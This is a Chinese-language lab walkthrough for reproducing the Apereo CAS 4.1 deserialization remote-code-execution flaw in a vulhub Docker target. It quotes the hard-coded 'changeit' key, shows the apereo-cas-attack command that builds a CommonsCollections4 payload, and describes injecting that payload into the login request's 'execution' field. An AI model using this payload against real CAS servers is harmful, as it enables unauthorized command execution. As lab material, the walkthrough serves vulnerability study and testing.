一、准备工作
复现此漏洞需要安装docker,下载安装docker-compose,搭建vulhub靶场,保证攻击机与靶机之间的网络互通;下载Apereo-CAS-Attack利用工具。
二、漏洞介绍
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
参考链接:
三、复现过程
首先启动靶机漏洞环境:
我们cd到vulhub目录下的该漏洞目录
cd vulhub/apereo-cas/4.1-rce/
在此目录下执行命令docker-compose up -d
启动漏洞环境
提示done后使用攻击机访问http://XXX.XXX.XXX.XXX:8080/cas/login即可查看到登陆页面,xxx为你的靶机IP,我的是http://192.168.192.130:8080/cas/login
漏洞原理实际上是Webflow中使用了默认密钥changeit:
public class EncryptedTranscoder implements Transcoder {
private CipherBean cipherBean;
private boolean compression = true;
public EncryptedTranscoder() throws IOException {
BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
bufferedBlockCipherBean.setKeyAlias("aes128");
bufferedBlockCipherBean.setKeyPassword("changeit");
bufferedBlockCipherBean.setNonce(new RBGNonce());
this.setCipherBean(bufferedBlockCipherBean);
}
// ...
我们使用Apereo-CAS-Attack来复现。
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "要执行的命令"
为了回显明显,我这里使用的是touch命令在docker容器下的temp目录生成一个名为test的文件。
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/test"
然后我们回到靶机登录页面,输入信息点击登陆抓包,替换Body中的execution值替换成上面生成的Payload后send
由于是实验环境,我们可以登录到服务器,然后进入docker容器查看文件是否创建,命令执行结果
我自己docker用的就不熟,所以这里也把进入容器的方法贴一下:
首先使用docker ps命令找到我们容器的ID
然后再使用docker exec -it 容器ID /bin/bash 的命令就可以进到容器内部了
docker容器的退出方法:
第一种:Ctrl + d 退出并停止容器;
第二种:Ctrl + p + q 退出并在后台运行容器;
进入后我们cd到/tmp目录下
执行成功: